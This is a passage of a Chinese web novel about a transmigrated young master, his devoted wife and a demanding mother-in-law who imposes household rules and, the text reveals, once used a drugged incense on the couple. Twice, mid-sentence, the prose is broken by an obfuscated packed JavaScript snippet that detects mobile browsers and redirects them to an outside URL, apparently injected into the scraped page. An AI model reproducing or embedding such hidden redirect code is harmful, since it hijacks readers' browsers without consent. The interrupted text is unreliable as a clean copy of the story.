肖晨静静地凝视着熟睡中的李傲雪,心中不禁泛起一阵涟漪,暗自思忖:她就这么喜欢自己吗?李傲雪虽是个小姑娘,比原身还要大上几岁,却总是小心翼翼地讨好自己。 想着想着,他心中满是感慨。倘若自己真的是这具身体的原主,能遇到如此善良美好的女孩,必定会将她捧在手心里,好好珍惜。李傲雪的每一个眼神、每一次举动,都透露着对自己的深情,这份纯粹的感情在这复杂的世间显得尤为珍贵。 可如今,自己的灵魂来自另一个世界,未来充满了不确定性,不知还能在这停留多久。一想到这儿,肖晨心中便涌起一阵无奈与愧疚。他轻轻地叹了口气,眼神中满是怜惜与纠结,默默在心中对李傲雪说道:“若可以,真希望能如你所愿,给你幸福,可命运弄人……” 丫鬟脚步轻快地来到肖母跟前,脸上带着几分欣喜,赶忙说道:“夫人,我瞧见少爷去了少夫人那儿,都过去好长时间了,一直没出来呢。”肖母听闻,脸上顿时绽开了笑容,眼中满是欣慰,连连点头道:“看来这儿子总算是开窍了。” 她心中欢喜不已,一直以来担忧儿子与儿媳关系不睦,如今听闻这消息,恰似一块石头落了地。想着或许不久后,小两口便能琴瑟和鸣,家中添丁进口,肖母更是喜上眉梢。“这就好,这就好啊。”肖母喃喃自语,仿佛已经看到了一家人其乐融融的美好景象。随即,她从袖中掏出一锭银子,递给丫鬟,说道:“你这消息传得及时,赏你的,继续留意着他们。”丫鬟赶忙接过银子,福了福身,喜滋滋地应道:“是,夫人,奴婢一定盯紧了。” 李傲雪悠悠转醒,睁眼便瞧见身旁安睡的肖晨。两人在房里已然睡了许久,此刻房内静谧,唯有彼此轻柔的呼吸声。 她静静地凝视着肖晨,目光中满是爱意与痴迷。肖晨那张稚嫩的脸,在睡梦中透着几分孩子气,显得愈发可爱。不同于一般男子的粗犷豪迈,他的面容精致,眉眼间尽是温柔细腻。 李傲雪就这么静静地看着,仿佛时间都在此刻静止。她看着他高挺的鼻梁,微微嘟起的嘴唇,还有那长长的睫毛,在脸颊上投下淡淡的阴影。这张脸,她越看越喜欢,不知不觉竟出了神,心中满是欢喜与甜蜜,暗暗想着自己何其幸运,能与这般美好的人结为夫妻。 李傲雪脸颊瞬间绯红,意识到自己竟对着熟睡的他看得痴了,赶忙晃了晃脑袋,试图让自己清醒过来。然而,思绪却不由自主地飘回到昨天,那些亲昵的画面在脑海中不断盘旋。 她的心像揣了只小鹿般怦怦直跳,眼神中满是羞涩与犹豫。终于,在内心冲动的驱使下,她微微颤抖着身子,缓缓凑近肖晨,试探着轻轻吻上了他的嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993177|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇。她的动作轻柔又紧张,仿佛稍一用力,便会打破眼前这如梦似幻的美好。 此刻的李傲雪,满心都是对这份感情的渴望,尽管羞怯,却又不想错过这难得的亲密时刻,只想将心中的爱意,通过这个轻柔的吻传达给还在睡梦中的肖晨。 肖晨沉浸在梦乡之中,丝毫没有察觉到李傲雪的举动。李傲雪见他毫无反应,胆子渐渐大了起来。她轻柔地贴合着肖晨的唇,仿佛时间都在这一刻停滞,就这样吻了好一会儿,才恋恋不舍地离开他的唇瓣。 随后,她脸颊绯红,带着一丝满足与羞涩,又小心翼翼地钻进肖晨温暖的怀抱,将头轻轻靠在他的胸口,听着他沉稳有力的心跳声。李傲雪闭上双眼,嘴角微微上扬,心中满是甜蜜,仿佛此刻,她拥有了整个世界。 肖晨悠悠转醒,发觉外面天色已暗,才知竟睡到了下午。低头一看,怀中的李傲雪正安安静静地依偎着他。他下意识地想要起身,动作却顿住了,生怕惊醒怀中之人。 可李傲雪似有所感,缓缓睁开双眼,睡眼惺忪地问道:“少爷就要起来了吗?”肖晨看着她娇憨的模样,无奈说道:“也不能一直躺在床上。”李傲雪一听,眼中闪过一丝失落,轻声央求:“不能陪我再躺一会儿吗?”那声音软软糯糯,满是不舍。 肖晨心中一软,终究还是又睡了下来。李傲雪见状,立刻像只小猫般,再次欢快地钻进他的怀里,嘴角扬起一抹满足的微笑。肖晨感受着怀中的温热,心中泛起丝丝涟漪,这片刻的温馨宁静,让他暂时忘却了那些纠结与烦恼。 肖晨看着怀中依恋不舍的李傲雪,语气轻柔却又透着几分坚定:“我们不能再躺下去了,该起来走走,活动一下,对身体也好。” 李傲雪微微嘟起嘴,眼中满是不情愿,但又深知肖晨所言在理。她轻轻叹了口气,撒娇般地在肖晨怀里蹭了蹭,这才缓缓起身。“好吧,少爷,都听你的。” 肖晨见她这般乖巧模样,心中不禁泛起一丝笑意。他也跟着起身,整理好衣衫,转头看向李傲雪,伸手轻轻帮她理了理有些凌乱的发丝,说道:“走吧,我们出去透透气。”李傲雪抬头看向肖晨,眼神中满是爱意,轻轻挽住他的手臂,两人一同向着房门外走去。 肖母远远瞧见儿子和儿媳这般亲昵地走来,脸上笑意更浓。她赶忙迎上前去,看着儿子,温和又不失威严地说道:“你呀,赶紧去书房练习书法,你最近可是落下了不少功课。” 肖晨听母亲这么一说,觉得确实有理,这段时间因为诸多琐事,自己在学业上有所懈怠。他恭敬地应道:“母亲说得是,孩儿这就去。” 说完,他转头看向李傲雪,眼神中带着一丝歉意,“傲雪,我先去书房了。” 李傲雪乖巧地点点头,“少爷放心去吧,我在这儿陪着母亲。”肖晨这才转身,快步向书房走去。肖母看着儿子离去的背影,又将目光投向李傲雪,眼中满是喜爱,拉着她的手说道:“好孩子,走,陪我去花园里逛逛,咱们娘俩也好好说说话。”李傲雪笑着应下,与肖母手挽手,缓缓朝花园走去,一路上欢声笑语不断。 在花园中,肖母与李傲雪沿着蜿蜒的石子路漫步。五彩斑斓的花朵竞相绽放,微风拂过,送来阵阵芬芳。肖母轻轻嗅着花香,脸上满是惬意,转头看向李傲雪,目光慈爱。 “傲雪啊,自从你进了咱们家门,我就看出你是个懂事的好孩子。”肖母轻轻拍了拍李傲雪的手,话语中满是赞赏,“如今看着你们小两口这般和睦,我心里别提多高兴了。” 李傲雪脸颊微微泛红,羞涩地低下头,轻声说道:“母亲过奖了,都是少爷对我好。” 肖母微笑着点点头,“晨儿这孩子,平日里看着沉稳,其实心思细腻。你们夫妻二人能相互扶持,我也就放心了。只是啊,他这学业可不能荒废,日后还要考取功名,为家族争光呢。” 李傲雪赶忙应道:“母亲说得极是,少爷聪慧过人,只要专心学业,定能有所成就。日后我也会时常提醒他,莫要懈怠。” 两人正说着,走到了一座精致的八角亭前。肖母提议道:“咱们在这儿歇歇脚吧。”亭中石桌上,早有丫鬟摆好了茶水点心。两人坐下,丫鬟们轻手轻脚地为她们斟茶。 肖母端起茶杯,浅抿一口,目光落在花园中盛开的牡丹上,思绪似乎飘远了。“傲雪,这府里的大小事务,日后我也想慢慢交予你打理。一来,我年纪渐长,精力不如从前;二来,你也该学着掌管中馈,也好帮衬晨儿。” 李傲雪心中一惊,忙站起身来,福了福身,诚惶诚恐地说道:“母亲,傲雪才疏学浅,恐难担此重任,还望母亲再多教导教导。” 肖母笑着摆摆手,示意她坐下,“别慌,我会一步步教你。你这孩子心地善良,又聪慧伶俐,我相信你定能将这府中事务处理得井井有条。” 李傲雪感激地看着肖母,眼中闪着泪花,“多谢母亲信任,傲雪定当竭尽全力,不负母亲所托。” 肖母欣慰地笑了,又与李傲雪说起府中各项事务的要点,李傲雪听得认真,不时点头,暗暗将这些记在心中。 肖母微微凑近李傲雪,压低声音又说道:“不过话说回来,迷香的事情你没告诉儿子吧?”李傲雪赶忙轻轻摇头,眼神带着几分乖巧:“母亲,我没有告诉少爷。”肖母听了,脸上露出满意的神情,轻轻拍了拍李傲雪的手。 随后,肖母话锋一转,神色变得有些急切:“虽然你们如今已经圆房了,可这生孩子的事儿也得抓紧。女人啊,有了孩子,这心才能踏实,咱们家也能早日添丁进口。你呀,别跟个木头一样,下次还得让我帮你,可得主动些。” 李傲雪顿时羞得满脸通红,头低得几乎要埋进胸口,声音细若蚊蝇:“母亲,傲雪知道了。”她心中又羞又窘,没想到肖母竟如此直白地说起这事。 肖母看着李傲雪娇羞的模样,忍不住笑了,“好了好了,我也就是提醒你。你们年轻人啊,把握好时机。”说着,又端起茶杯,轻抿一口,眼神中满是对未来含饴弄孙生活的憧憬。 此时,花园里的鸟儿叽叽喳喳地叫着,仿佛也在为这温馨又略带尴尬的场景增添别样的氛围。李傲雪坐在那儿,心中既为肖母的关怀感到温暖,又因这私密话题而羞涩,只盼着能赶紧转移话题,缓解这令人面红耳赤的气氛。 肖母关切地打量着李傲雪,问道:“你身体养得怎么样了?”李傲雪微微红着脸,轻声回答:“还需要几日。”她垂下眼眸,想起之前的事,着实没想到肖晨会那般激烈。 肖母点点头,语重心长地叮嘱:“那就尽快调养。”紧接着,她眼神带着一丝促狭,对李傲雪说道:“我问你,下次你怎么伺候自己的男人?” 李傲雪闻言,脸庞瞬间滚烫如火烧,双手不自觉地绞着衣角,嗫嚅着:“母亲,傲雪……傲雪不知。”内心满是慌乱与羞涩,这种私密且直白的话题,让她完全不知所措。 肖母看着她这副窘迫模样,忍不住轻笑出声,而后耐心说道:“傻孩子,夫妻之间相处是门学问。要多些体贴温柔,知晓他的喜好,照顾好他的饮食起居,让他感受到家的温暖。男人嘛,在外面奔波,回到家就盼着能舒心自在。” 李傲雪红着脸,微微点头,将肖母的话一一记在心里。肖母见她如此,又接着传授些夫妻相处之道,李傲雪虽羞涩万分,但也明白肖母是为自己好,只能硬着头皮认真听着,花园里偶尔传来肖母温和的教导声与李傲雪偶尔的轻声回应。 17. 让儿媳遵守肖府家规 肖母神情庄重地看着李傲雪,缓缓说道:“以后啊,这家里迟早是要交到你们俩手中的。不过我丑话说在前头,男人主外,女人主内,凡事你得多顺从他些。咱们家的规矩,你也知晓,夫妻和睦,相互扶持,这个家才能蒸蒸日上。” 李傲雪赶忙恭敬地应道:“母亲,我会的。少爷见识广,做事也有分寸,傲雪明白该以何为重。日后定当恪守本分,顺从少爷,与他一同经营好这个家。” 肖母微微颔首,眼中流露出一丝欣慰,“你能明白就好。虽说要顺从,但也不是让你没了主见,该提醒的时候提醒,该支持的时候支持,这样夫妻才能同心,其利断金。” 李傲雪认真地听着,将肖母的每一句话都铭记于心,“母亲教诲,傲雪定不敢忘。往后我与少爷定会互敬互爱,不负母亲期望。” 肖母话锋一转,语气中多了几分严肃:“我儿子可是比你小几岁,本来女子一般15岁就成家有孩子了,你现在都19了。要不是有婚约在,我怎么会把你娶进门。” 李傲雪心中一紧,脸上闪过一丝尴尬与失落,赶忙低下头去,轻声说道:“母亲,傲雪明白自己年纪偏大,能嫁入肖家,是傲雪的福气。日后傲雪定会更加用心,不辜负肖家对我的接纳。” 肖母看着李傲雪的模样,缓了缓语气:“罢了,既然进了门,就是一家人。你也别往心里去,我只盼着你们能早日开枝散叶,为肖家延续香火。” 李傲雪忙不迭点头,“母亲放心,傲雪会和少爷努力的。”她暗暗攥紧了衣角,深知自己在肖母心中因年龄问题或许有些不足,但她更坚定了要好好经营婚姻、为肖家尽责的决心。 肖母见她态度诚恳,神色稍霁,“行了,知道你是个懂事孩子。以后家里事务多学着点,有什么不懂的就来问我。”李傲雪感激地望向肖母,“多谢母亲,傲雪定会用心学习。” 肖母虽表面上缓和了语气,可心底里毕竟是从媳妇熬成婆的过来人,总觉着要在李傲雪身上找回些当年做媳妇时的“面子”,暗自决定要好好调教调教她。 只见肖母往椅背上一靠,神色淡然地对李傲雪说道:“你给我捶捶背。”李傲雪愣了一瞬,随即赶忙移步到肖母身后,伸出双手,小心翼翼地为肖母捶起背来,手法轻柔且有节奏。 肖母享受着李傲雪的伺候,又不紧不慢地吩咐道:“晚上就去厨房跟着厨子一起做饭。咱们家的膳食讲究,你得好好学着,以后这家里上下的饮食可都得你操心。” 李傲雪微微一怔,手上的动作却未停下,连忙应道:“是,母亲。傲雪定会用心学,不让您失望。”她心里虽有些意外这突如其来的安排,但深知作为儿媳应听从长辈吩咐,只能将这份心思默默藏起,专注地为肖母捶背,同时思索着晚上在厨房该如何行事。 肖母闭着眼睛,感受着背部传来的力度,嘴角微微上扬,仿佛在这简单的指令与服从之间,寻得了一种身为长辈的威严与掌控感。 肖母眼神示意一旁的丫鬟,丫鬟心领神会,赶忙取来一本写满家规的册子。肖母将册子递给李傲雪,神色严肃地说:“念。” 李傲雪心中忐忑,双手微微颤抖着接过,轻声念道:“第一条,你得负责全家的伙食。”念完,她下意识地抿了抿嘴唇,深知这意味着日后要花费更多心思在厨房事务上。 接着,她又念道:“第二条,伺候丈夫,以丈夫为主。”话语落下,她脑海中浮现出肖晨的面容,默默告诉自己要更加悉心照料他。 然而,当看到第三条时,李傲雪的声音明显顿住,片刻后才艰难念出:“第三条,一年之内没有所出就会纳妾。”念罢,她的心猛地一沉,一种莫名的恐慌与压力涌上心头。 肖母目光紧紧盯着李傲雪,缓缓开口:“这每一条都是咱们家的规矩,你既入了肖家门,就得遵守。全家老小的饮食关乎健康,伺候丈夫是你本分,至于子嗣,更是重中之重,关系着家族延续。” 李傲雪眼眶微红,心中五味杂陈,但还是强忍着情绪,恭敬说道:“母亲,傲雪记住了,定会谨遵家规。”她暗暗攥紧拳头,在心里下定决心,无论如何都要在这一年之内有所作为,保住自己在肖家的地位,守护住与肖晨的感情。 肖母见李傲雪愣在原地,眼眶泛红,脸色顿时一沉,没好气地说道:“你怎么跟个木头一样,看完了就赶紧给我捶背。这可不是你过去在娘家,成了媳妇就得干活。要是不会,就去学,不准偷懒。我们家可不要闲人。” 李傲雪被这一顿数落,身子一颤,忙不迭应道:“是,母亲。”她赶忙定了定神,手上恢复了捶背的动作,且力度更加适中,频率也加快了些。 心中虽满是委屈,但李傲雪清楚,如今既已嫁入肖家,就得遵循肖家的规矩。她在心里默默告诫自己,一定要尽快适应,不能让肖母挑出更多错处。 肖母靠在椅背上,感受着李傲雪捶背的动作,微微闭着眼,又时不时地开口挑剔:“左边再往上点,力度轻了。”李傲雪不敢有丝毫懈怠,连忙调整。 捶背过程中,李傲雪思绪纷乱,想到刚刚肖母所说的家规,尤其是一年之内无所出便要纳妾这一条,心里像压了块大石头。但她也明白,此刻不是自怨自艾的时候,唯有努力做好肖母交代的事,或许才能在这个家中站稳脚跟,与肖晨有个美好的未来。 肖母一脸惬意,沉浸在李傲雪恰到好处的捶背中,突然又睁开眼,发号施令道:“你去换上粗布衣裳,再去厨房学做饭。可别把身上的衣服弄脏了,咱家里讲究勤俭节约,不能浪费钱去做新衣服。” 李傲雪赶忙停下手中动作,福了福身,温顺地应道:“是,母亲。”说罢,她便匆匆回房,找出那件许久未穿的粗布衣服换上。粗布贴着肌肤,触感远不如平日里的绸缎柔软,可李傲雪顾不上这些,整理好衣衫后,便急忙往厨房赶去。 一进厨房,热气裹挟着各种食材的味道扑面而来。厨子们见少夫人进来,纷纷停下手中活计,行礼问安。李傲雪有些局促地笑了笑,说道:“各位师傅,母亲让我来跟着大伙学做饭,还望各位师傅不吝赐教。” 一位年长的厨子笑着点头:“少夫人客气了,大伙一起琢磨,总能把饭菜做得合全家口味。” 于是,李傲雪在厨房忙碌起来。她先仔细观察厨子们切菜配菜,学习不同食材的处理方法,接着在一旁帮忙生火,看火候大小对烹饪的影响。粗布衣裳不一会儿就被汗水浸湿,贴在她的后背,但李傲雪咬着牙坚持着,牢记肖母的话,不敢有丝毫懈怠,一心想着一定要学会这操持全家饮食的本事。 玉溪刚迈进厨房,一眼就瞧见正忙得热火朝天的李傲雪,不禁满脸诧异,脱口而出:“李姑娘,你怎么在这里?” 李傲雪心里“咯噔”一下,手上的动作顿了顿,一时间有些慌乱。但她很快镇定下来,挤出一抹微笑,找了个借口说道:“我呀,是想着为家人做些好吃的,亲手给大家准备膳食,也算是尽一份心意。”她实在不好说出这其实是肖母的吩咐,毕竟家丑不可外扬,况且她也不想让玉溪看出自己在肖家处境艰难。 玉溪微微皱眉,眼中满是疑惑,不过也没再多问,只是走上前说道:“李姑娘有心了,只是这厨房活儿又累又脏,你若有需要帮忙的,尽管开口便是。” 李傲雪心中一暖,赶忙说道:“多谢玉溪姑娘关心,我自己可以的,你要是有事就先去忙吧。”玉溪点点头,又叮嘱了几句,这才转身离开。 看着玉溪离去的背影,李傲雪暗暗松了口气,转身继续投入到厨房的活计中,手中切菜的动作愈发利落,心中想着一定要尽快学会,不能辜负自己这番辛苦,也不能再让他人看出端倪。 李傲雪在厨房忙碌了许久,跟着厨子们认真学习每一道工序。从洗菜时如何去除菜根的泥沙,到切肉时怎样顺着纹理下刀,再到炒菜时对火候与调料用量的精准把握,她都学得全神贯注。 等到天色渐暗,厨房的伙计们开始准备晚饭的食材。李傲雪主动承担起切配菜的任务,她眼神专注,手中的菜刀在案板上有节奏地起落,不一会儿,几盘切得粗细均匀的配菜便准备妥当。 就在这时,肖晨突然来到厨房。他四处张望,一眼就看到了在角落里忙碌的李傲雪。肖晨微微一愣,快步走上前去,关切地问道:“傲雪,你怎么在这儿?这满是油烟,莫要熏坏了。” 李傲雪抬起头,脸上挂着汗珠,发丝也有些凌乱,看到肖晨,她下意识地用手捋了捋头发,笑着说道:“少爷,我想为家人准备一顿可口的饭菜,便来厨房学着做。”肖晨看着她这副模样,心中既心疼又感动,轻轻握住她的手,说道:“你有心了,但这些事交给厨子们做便是,你不必如此辛劳。” 李傲雪刚想说话,突然想起肖母的叮嘱,到嘴边的话又咽了回去。她轻轻摇了摇头,说道:“少爷,我想亲自为你和母亲做些好吃的,你先去前厅等着,一会儿就有美味上桌。”肖晨见她坚持,也不好再说什么,只好点点头,转身离开厨房。 待肖晨走后,李傲雪长舒一口气,又继续投入到烹饪学习中。在厨子们的指导下,她开始尝试炒菜。锅里的油烧热,放入葱姜爆香,紧接着倒入切好的蔬菜,瞬间,锅里发出“滋滋”的声响,油烟升腾起来。李傲雪有些紧张,但还是鼓起勇气,拿起锅铲不停地翻炒。在伙计们的鼓励下,她逐渐掌握了节奏,按照比例加入调料,一道菜终于出锅。 看着色泽还算不错的菜肴,李傲雪心中满是成就感。她将做好的几道菜装盘,小心翼翼地端到前厅。肖母和肖晨已经坐在桌前,看到李傲雪端着菜进来,肖母微微挑眉,眼中闪过一丝审视。 李傲雪将菜放在桌上,有些忐忑地说道:“母亲,少爷,这是我今天在厨房学做的菜,不知合不合口味。”肖晨笑着夹了一筷子菜放入口中,咀嚼了几下,脸上立刻露出惊喜的神情,说道:“傲雪,做得真好吃,没想到你厨艺进步如此之快。” 肖母也拿起筷子,尝了一口,虽未露出过多赞许之色,但也微微点头,说道:“勉强还算过得去,以后继续努力,别懈怠了。”李傲雪心中一喜,忙应道:“是,母亲,傲雪定会用心学习。” 这一顿晚餐,李傲雪吃得格外满足,尽管过程辛苦,但看到肖晨吃得开心,又得到了肖母的认可,她觉得一切努力都是值得的。而在这之后,李傲雪更加勤奋地学习家务,努力适应在肖家的生活,她期待着通过自己的努力,能让这个家变得更加温馨和睦,也能稳固自己在肖家的位置。 一家人吃完饭后,肖母满是心疼地看向儿子,关切说道:“练习书法累了吧,赶紧去洗漱。我都让人把洗澡水准备好了。”肖晨向来孝顺,听母亲这么说,便乖乖应了一声,起身去洗澡。 肖母转而将目光投向李傲雪,脸色一沉,数落起来:“你怎么吃饭一点眼色都没有,光顾着自己吃,都不知道给自己的男人夹菜,让他先吃。咱们家规矩,媳妇就得伺候好丈夫,这些基本的都做不好,以后怎么管家?” 李傲雪心中一紧,脸上满是愧疚与惶恐,赶忙低下头说道:“母亲,傲雪知错了,方才只顾着看少爷吃得是否满意,竟忘了这些。以后傲雪一定注意,不会再犯。” 肖母轻哼一声,“记住就好。夫妻之间,这些细节之处最能体现心意。你既要操持家务,更要懂得体贴丈夫。去吧,去看看你丈夫洗完了没,需不需要帮忙。” 李傲雪连忙应道:“是,母亲。”说罢,便匆匆往沐浴的地方走去。一路上,她心中暗暗自责,不断提醒自己以后做事要更加周全。 到了沐浴房外,李傲雪轻声询问:“少爷,您洗完了吗?”房内传来肖晨温和的声音:“好了,正准备出来。”李傲雪等肖晨出来后,赶忙递上干爽的衣衫,说道:“少爷,今日饭菜可还合口?方才吃饭时,是傲雪疏忽了,没能好好照顾您。” 肖晨接过衣衫,笑着安慰她:“饭菜很好吃,你别放在心上。只不过你做菜辛苦了。”李傲雪感激地看着肖晨,说道:“多谢少爷体谅,傲雪以后会做得更好。” 两人回到房间,李傲雪一边帮肖晨整理床铺,一边思索着如何才能更好地符合肖母的要求,不辜负肖晨的信任。 肖晨看着李傲雪认真整理床铺的身影,不禁有些心疼,开口说道:“这些事让丫鬟做就好咯,你也忙活一天了。”李傲雪停下手中动作,抬头看向肖晨,微微一笑,找了个借口说道:“这是我们的床,让丫鬟整理总觉得有些不妥,还是我自己来吧,心里踏实。” 肖晨见她坚持,心中愈发觉得她体贴入微,便走上前说道:“那我帮你吧,两个人也能快些。”说着便伸手要帮忙抚平床单的褶皱。李傲雪赶忙拦住他,说道:“少爷,您今日练书法也累了,这些小事我来就好,您快去歇着。” 肖晨拗不过她,只好作罢,看着李傲雪忙碌,心中满是暖意。李傲雪将床铺整理得平平整整,又仔细检查了一遍,确保没有丝毫褶皱,这才满意地转身对肖晨说:“少爷,床铺好了,您早些休息吧。” 肖晨点点头,坐在床边,拉住李傲雪的手,温柔地说:“傲雪,今日辛苦你了,不仅在厨房忙活那么久,还被母亲说了。母亲虽然要求严格,但并无恶意,你别往心里去。”李傲雪看着肖晨关切的眼神,心中一暖,眼眶微微泛红,说道:“少爷,我知道母亲是为我们好,也都是些我该学该做的。只要能让您和母亲满意,让这个家越来越好,我做这些都是值得的。” 肖晨轻轻将李傲雪拥入怀中,轻声说道:“有你这样的妻子,是我的福气。日后若有什么难处,莫要自己一个人扛着,定要与我讲。”李傲雪靠在肖晨怀里,用力地点点头,感受着这份温暖与依靠。 李傲雪一脸诚恳,轻柔说道:“少爷,就让我来给您宽衣吧。”肖晨下意识地婉拒:“我自己来就行,你也劳累一天了。”李傲雪听后,神色微微黯淡,带着几分自责道:“少爷不让我做,肯定是我哪里做得不好,惹少爷嫌弃了。” 肖晨见她这般模样,心中满是不忍,无奈地笑了笑,只好应允:“罢了罢了,那就辛苦你了。”李傲雪眼中立刻重新泛起光彩,动作轻柔而熟练地帮肖晨宽衣。 待一切收拾妥当,两人并肩躺在床上。房间里安静极了,唯有窗外传来的阵阵虫鸣声。李傲雪侧身面向肖晨,在微弱的烛光映照下,她的眼眸闪烁着温柔的光芒。 肖晨转过头,与李傲雪目光交汇,伸手轻轻捋了捋她额前的发丝,轻声说道:“傲雪,今日在厨房忙了许久,累坏了吧。”李傲雪微微摇头,脸上浮现出一抹甜美的笑容:“只要能为少爷和母亲做些事,我不累。少爷,你今日练书法可有收获?” 肖晨嘴角上扬,兴致勃勃地与李傲雪分享起今日练习书法时的心得感悟,李傲雪听得认真,不时轻声回应,提出自己的见解。 李傲雪缓缓地朝着肖晨靠近,身体微微前倾,手也不自觉地不老实起来,轻轻抓着他的背,动作带着一丝羞涩与试探。肖晨立刻就明白了她的意图,赶忙伸手温柔却坚定地阻止了她,神色有些凝重地说道:“我不能这么做。” 李傲雪满心疑惑与失落,抬起头,目光中满是不解,轻声问道:“为什么?” 肖晨微微叹了口气,目光中透露出几分纠结,缓缓说道:“我过不去心里这道坎。今日母亲与你说的那些话,我虽未全听到,但也猜出几分。我不想我们之间的亲密是因为这些规矩压力,我希望是源于我们真心相爱、两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993178|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情相悦,而不是为了完成某种任务。” 李傲雪听了肖晨的话,心中一暖,同时又有些感动与愧疚。她轻轻咬了咬嘴唇,说道:“少爷,我明白你的意思了。是我太心急,没有考虑到你的感受。可我只是想……想让母亲满意,也想让你知道我会努力做好一个妻子。” 肖晨将李傲雪轻轻揽入怀中,温柔地说道:“傲雪,你能有这份心我很开心。但我们的日子还长,感情需要慢慢培养,不必急于一时。 李傲雪靠在肖晨怀里,用力地点点头,心中暗暗下定决心,以后要更加注重与肖晨之间感情的自然发展,而不是单纯为了迎合规矩行事。在这温馨而宁静的夜晚,两人相拥而眠,彼此的心意在这一番交谈后,似乎更肖晨心中确实对与女性亲近有着本能的抗拒,毕竟他的灵魂深处,是一个女孩。这复杂的状况让他难以轻易跨越心理障碍。他深知,要真正接纳李傲雪,需要漫长的过程,绝非一蹴而就。所以,只能继续用之前的借口对她说道:“傲雪,我真的还需要些时间,心里这道坎不是一时半会儿能过去的,我们慢慢来,好不好?” 李傲雪眼中闪过一丝失落,但还是懂事地点点头,轻声说:“少爷,我懂,我会等你,不管多久。”她往肖晨怀里蹭了蹭,试图给他更多温暖与安心。 肖晨心中满是对李傲雪的愧疚,他轻轻搂住她,感受着她的温柔与包容。黑暗中,他望着床顶,思绪万千。他知道,李傲雪是无辜的,这场婚姻对她而言或许满怀期待,可自己的特殊状况却给她带来不确定。 “傲雪,你这么好,值得更好的对待。”肖晨在她发间低语,“我会努力,努力让自己克服这些,只是需要时间。”李傲雪仰头看着他,眼中满是信任:“少爷,我相信你,我们一起面对。” 两人就这样相拥着渐渐睡去。第二天一早,阳光透过窗棂,轻柔地洒在床榻上。肖晨悠悠转醒,下意识往身旁一摸,却只触碰到一片凉意,他睁眼一看,果然没看到李傲雪的身影。 他刚撑起身子,准备起来穿衣,这时房门“吱呀”一声被推开,只见李傲雪端着洗漱用具,迈着轻盈的步伐走进来,脸上带着温婉的笑意,轻声说道:“少爷,我来伺候你就行。” 肖晨看着她,心中泛起一丝暖意,嘴角不自觉上扬:“辛苦你了,这么早就去准备这些。”李傲雪将洗漱用具放在一旁的架子上,走到肖晨身边,温柔地说道:“不辛苦,伺候少爷是我该做的。”说着,她拿起毛巾,在热水里浸湿,拧干后递给肖晨。 肖晨接过毛巾,擦了擦脸,感觉清醒了许多。李傲雪又拿起梳子,轻轻为肖晨梳理头发,动作娴熟而轻柔。肖晨看着铜镜中李傲雪专注的模样,心中不禁感慨,她如此细心体贴,自己却因内心的障碍,一直没能真正给予她应有的回应。 洗漱完毕后,李傲雪又帮肖晨整理好衣衫,说道:“少爷,母亲吩咐今日让您继续去书房练习书法,早饭已经准备好了,咱们用完早饭就过去吧。”肖晨点点头,看着李傲雪,认真地说:“傲雪,你为我做了这么多,我都看在眼里,谢谢你。”李傲雪微微红了脸,低下头说道:“少爷别这么说,只要少爷满意,傲雪就开心。” 来到餐厅,只见桌上摆满了精致的菜肴,显然李傲雪这次做足了准备,每一道都是肖晨喜欢吃的。李傲雪笑意盈盈地坐下,拿起碗筷,夹起一块肖晨最爱吃的酥肉,递到他嘴边,温柔说道:“少爷,尝尝这个。” 肖晨微微一愣,看着递到嘴边的酥肉,下意识说道:“我自己来就行,你赶紧吃。”李傲雪却没有收回手,眼中满是期待:“少爷,就让我喂您吧,您平日辛苦,我也想多照顾照顾您。” 肖晨看着她那真挚的眼神,心中涌起一股暖流,犹豫了一下,还是微微张嘴,吃下了那块酥肉。李傲雪见状,脸上露出开心的笑容,又接着夹起其他菜,细心地喂给肖晨。 肖晨吃了几口后,看着李傲雪同样没怎么动筷,有些心疼地说道:“傲雪,别光顾着喂我,你也快吃,不然饭菜都凉了。”李傲雪应了一声,却还是先又喂了肖晨几口,才自己开始吃起来。 用餐过程中,肖晨时不时看向李傲雪,心中感慨她的用心。他知道,李傲雪这般努力,一方面是出于对自己的感情,另一方面也是想讨好母亲,在这个家中站稳脚跟。 吃完饭后,肖晨看着李傲雪,认真地说:“傲雪,今日的饭菜格外好吃,辛苦你了。”李傲雪脸颊微红,轻声说道:“只要少爷喜欢就好,以后我会经常做您爱吃的。”随后,两人一同起身,肖晨前往书房练习书法,李傲雪则去帮着肖母处理家中事务,各自开始了充实的一天。 读完书的肖晨,长时间闷在书房,感觉浑身不自在。他伸了个懒腰,招来阿成,说道:“陪我出去走走吧,整日在这书房,都快憋闷坏了。”阿成赶忙应道:“少爷,您想去哪里呀?”肖晨思索片刻,说道:“交朋友。我在这儿都没认识几个好朋友,出去碰碰运气,看能不能结识些志同道合之人。” 阿成微微一愣,随即笑道:“好嘞,少爷,那咱们往热闹些的地方去,指不定就能遇到投缘的朋友。”两人稍作收拾,便出了门。 刚走到街上,热闹喧嚣的氛围便扑面而来。小贩们的叫卖声此起彼伏,行人来来往往,络绎不绝。肖晨兴致勃勃地穿梭在人群中,目光在周围人身上打量,试图寻找能结交的对象。 走着走着,他们来到一个书摊前。肖晨停下脚步,随意翻看着摊上的书籍。这时,旁边一位年轻人也凑了过来,同样对这些书颇感兴趣。肖晨看了眼对方,只见他身着一袭淡蓝色长衫,气质儒雅,手中还握着一把折扇。 